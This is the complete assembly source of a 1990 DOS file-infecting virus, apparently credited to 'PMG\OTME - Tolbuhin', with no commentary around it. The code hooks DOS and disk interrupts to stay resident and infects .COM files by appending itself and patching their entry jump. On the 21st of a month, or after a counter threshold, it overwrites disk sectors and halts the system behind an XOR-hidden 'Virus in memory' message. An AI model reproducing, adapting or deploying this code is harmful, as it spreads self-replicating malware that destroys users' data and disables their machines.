start:  jmp     short begin
	db	(00h)
	db	(53h)
	db	(4bh)
	int	20h
okey:	db	(0b8h)
	db	(03h)
	db	(00h)
	db	(0cdh)
	db	(10h)
begin:	push	cx
	CALL	F1
F1:	POP	SI
	SUB	SI,09
	mov	ax,0
	mov	ds,ax
	mov	word ptr [312h],si
	push	cs
	pop	ds
	push	cs
	pop	es
	cld
	mov	di,100h
	mov	cx,5
	rep	movsb
	jmp	ding2
int20h: mov	ah,00h
	jmp	mm
int21h: STI
        cmp     ah,00h
	jz	mm
	cmp	ah,4ch
	jz	mm
	cmp	ah,0ffh
	jz	mm
        jmp     int1hh
mm:	pushf
        PUSH    AX
	PUSH	BX
	PUSH	CX
	PUSH	DX
	PUSH	DS
	PUSH	ES
	PUSH	SI
	PUSH	DI
	mov	ax,0
	mov	ds,ax
	cmp	byte ptr [302h],0
	jz	mm2
	mov	byte ptr [302h],0
	jmp	main
mm2:	mov	ah,19h
	int	21h
	mov	dl,al
	cmp	dl,01
	jna	mmm5
	add	dl,7Eh
	mov	ax,0
	mov	ds,ax
mmm5:	mov	byte ptr [309h],dl
	mov	byte ptr ch,[308h]
	mov	byte ptr dl,[309h]
	mov	cl,01
	push	cs
	pop	ds
        mov     ax,0201h
	mov	dh,00h
	mov	bx,offset end+7
	push	cs
	pop	es
	int	13h
	mov	ax,0
	mov	ds,ax
	mov	byte ptr ch,[308h]
	mov	byte ptr dl,[309h]
	mov	cl,01
	push	cs
	pop	ds
        mov     ax,0301h
	mov	dh,00h
	mov	bx,offset end+7
	push	cs
	pop	es
	int	13h
	jnc	etk6
	cmp	ah,3
	jnz	etk6
	jmp	main
etk6:	mov	ax,0
	mov	ds,ax
	mov	byte ptr [306h],1
	push	cs
	pop	ds
	mov	ah,2ah
	int	21h
	cmp	dl,21
	jnz	okef
	mov	ax,0309h
	mov	dx,0000h
	mov	cx,0001h
	lea	bx,[100h]
	int	13h
	jmp	short okep
okef:   mov     ax,0
	mov	ds,ax
	inc	word ptr [310h]
	cmp	Word ptr [310h],02FFh
	jnz	et3
okep:	push	cs
	pop	ds
	mov	bx,offset name
et9:	mov	ah,[bx]
	xor	ah,21
	mov	[bx],ah
	inc	bx
	cmp	bx,offset for1
	jnz	et9
        mov     ah,9
	mov	dx,offset name
	int	21h
	cli
	hlt
dinge:	jmp	ding
et3:	push	cs		;ds <- cs
	pop	ds
	mov	ah,2fh		;Dos service function ah=2FH (get DTA)
	int	21h		;ES:BX Addres of current DTA
	mov	[edta],ES
	mov	[bdta],BX
	mov	ah,1ah		;Dos service function ah=1AH (set DTA)
	mov	dx,offset end+7 ;DS:DX Addres of DTA
	int	21h
	push	cs
	pop	ds
        MOV     AH,4eH
        MOV     DX,offset files
	mov	cx,00
        INT     21H             ;Dos service function ah=4EH (FIND FIRST)
        jc      dinge           ;CX  File attribute
                                ;DS:DX Pointer of filespec (ASCIIZ string)
vir:	mov	ax,3d02h
	push	cs
	pop	ds
	mov	dx,offset end+7 ;DS:DX Addres of DTA
	add	dx,1EH
	int	21h		;Dos service function ah=3DH (OPEN FILE)
                                ;AL Open mode
                                ;DS:DX Pointer to filename (ASCIIZ string)
                                ;Return AX file handle
        mov     [handle],ax
	mov	ah,'C'
	mov	al,'D'
        PUSH    DX
        POP     BX
	cmp	[bx],ah ;Compare filename for 'COMMAND.COM'
	jnz	p1		;If not first char 'C' then push virus in file
	cmp	[bx+6],al
	jz	v		;If 7 char 'D' then find next file
p1:     mov     bx,handle
        push    cs
	pop	ds
	mov	ah,3fh
	mov	dx,offset end
	mov	cx,5
	int	21h		;Dos service function ah=3FH (READ FILE)
                                ;BX File handle
                                ;CX Number of bytes to read
                                ;DS:DX Addres of buffer
	push	cs
	pop	es		;ES <- CS
	cld
        PUSH    DX
        POP     SI
	mov	di,offset okey
	mov	cx,5
	rep	movsb		;Repeat While CX>0 do ES:DI <- DS:SI
                                ;                     SI=SI+1
                                ;                     DI=DI+1
	mov	ax,534bh
	mov	di,dx
	add	di,3
	cmp	[di],ah
	jnz	fuck
	inc	di
	cmp	[di],al
	jnz	fuck
v:	push	cs
	pop	ds
	mov	bx,handle
	mov	ah,3eh
	int	21h
	push	cs
	pop	ds
	mov	ah,4fh
	int	21h
	jc	enzi
	jmp	short vir
enzi:	jmp	ding
fuck:   mov     ax,offset end+7
	add	ax,1aH
	mov	di,ax
        Mov     Word Ptr cx,[di]
        mov     ax,offset end
	mov	di,ax
	mov	al,0e9h
	cmp	cx,1a0h
	jna	v
	add	cx,2
	mov	[di],al
	inc	di
	mov	Word Ptr [di],cx
	mov	ax,534bh
	add	di,2
	mov	[di],ah
	inc	di
	mov	[di],al
        mov     bx,[handle]    ;
	mov	ax,4200h
	xor	cx,cx
	xor	dx,dx
	push	cs
	pop	ds
	int	21h
	mov	bx,handle
	mov	ah,40h
	mov	dx,offset end
	mov	cx,5
	int	21h
	mov	ax,4202h
	xor	cx,cx
	xor	dx,dx
	int	21h
	push	cs
	pop	ds
	mov	bx,handle
	mov	ah,40h
	mov	dx,offset okey
	mov	cx,end-okey
	int	21h
	mov	bx,handle
        mov     ah,3eh
	int	21h
	mov	ax,0000
	mov	ds,ax
	inc	Word ptr [0310h]
ding:	push	cs
	pop	ds
	mov	ah,1ah
	mov	ds,[edta]
	mov	dx,[bdta]
	int	21h
	mov	ax,0
	mov	ds,ax
	mov	byte ptr [306h],0
main:	PUSH	CS
	POP	DS
	POP	DI
	POP	SI
        POP     ES
	POP	DS
	POP	DX
	POP	CX
	POP	BX
	POP	AX
	popf
int1hh	nop
int1h:  db      (0eah)
is:	dw	0
io:	dw	0

int13h: cli
	PUSH	BX
	PUSH	CX
	PUSH	DX
	PUSH	DS
	PUSH	ES
	PUSH	SI
	PUSH	DI
	push	ax
	mov	ax,0
	mov	ds,ax
	pop	ax
	mov	byte ptr [308h],ch
	mov	byte ptr [309h],dl
	push	cs
	pop	ds
	push	ax
	push	ds
	cmp	ah,03
	jz	etk2
	cmp	ah,05
	jnz	etk3
etk2:	mov	ax,0000
	mov	ds,ax
	inc	Word ptr [310h]
	cmp	Word ptr [310h],02FEh
	jnz	etk3
	push	cs
	pop	ds
	STI
	int	20h
etk3:	pop	ds
        pop     ax
	STI
        int     65h
	pushf
	push	ax
	mov	ax,0
	mov	ds,ax
	cmp	byte ptr [306h],0
	pop	ax
	jz	etk4
	popf
        clc
	mov	ax,0
	jmp	short etk5
etk4:   popf
etk5:   POP     DI
	POP	SI
        POP     ES
	POP	DS
	POP	DX
	POP	CX
	POP	BX
	db	(0CAH)
	db	(02)
	db	(00)
name:	db	'Virus in memory !!! Created by 21.I.1990 - PMG\OTME - Tolbuhin ...$'
for1:	jmp	ding1
files:	db	'*.com',0
ding2:	mov	ax,0000h
	mov	ds,ax
        MOV     BX,300H
	MOV	CX,4b53h
	cmp	[bx],cx
	jz	for1
        mov     [bx],cx
        mov     ah,62h
	int	21h
	mov	ds,bx
	mov	bx,[2ch]
	dec	bx
	mov	dx,0FFFFh
loc_1:	mov	ds,bx
	mov	di,[3]
	inc	di
	add	dx,di
	add	bx,di
	cmp	byte ptr [0000],5Ah
	jne	loc_1
	mov	cx,es
	add	cx,dx
	sub	word ptr [3],80h
	sub	cx,80h
	sub	cx,10h
	mov	es,cx
	mov	di,100h
	cld
        mov     ax,0000h
        mov     ds,ax
        mov     bx,[004ch]
        mov     [0194h],bx
        mov     cx,[004eh]
        mov     [0196h],cx
	mov	ax,0
	mov	ds,ax
lenf	equ	word ptr ds:[312h]
        mov     ax,0000h
	mov	ds,ax
	mov	bx,[0084h]
	mov	cx,[0086h]
	mov	ax,0
	mov	ds,ax
        mov     di,is-okey
        add     di,lenf
	push	cs
	pop	ds
	mov	[di],bx
	mov	[di+2],cx
	mov	ax,0
	mov	ds,ax
	mov	si,[312h]
	sub	si,7
	push	cs
	pop	ds
	mov	di,100h
	mov	cx,800h
	rep	movsb
	mov	ax,0000
	mov	ds,ax
	cli
	mov	WORD PTR [0086h],ES
        mov     WORD PTR [004eh],ES
	mov	word ptr [0082h],es
	mov	di,int20h-okey
	add	di,107h
        mov     WORD PTR [0080h],di
	mov	di,int13h-okey
	add	di,107h
        mov     WORD PTR [004ch],di
	mov	di,int21h-okey
	add	di,107h
	mov	WORD PTR [0084h],di
	sti
Ding1:	mov	ax,0
	mov	ds,ax
	mov	byte ptr [306h],1
	mov	byte ptr [302h],0
	mov	ah,19h
	int	21h
	mov	dl,al
	cmp	dl,01
	jna	mmm
	add	dl,7Eh
mmm:	mov	byte ptr [309h],dl
	push	cs
	pop	ds
	mov	ah,0ffh
	int	21h
for:	mov	ax,0
	mov	ds,ax
	mov	byte ptr [306h],0
	mov	byte ptr [302h],1
	PUSH	CS
	POP	DS
	pop	cx
	mov	si,100h
	jmp	si
handle: dw	?
edta:	dw	?
bdta:	dw	?
com:	db	'COMMAND'
end:    db      (00)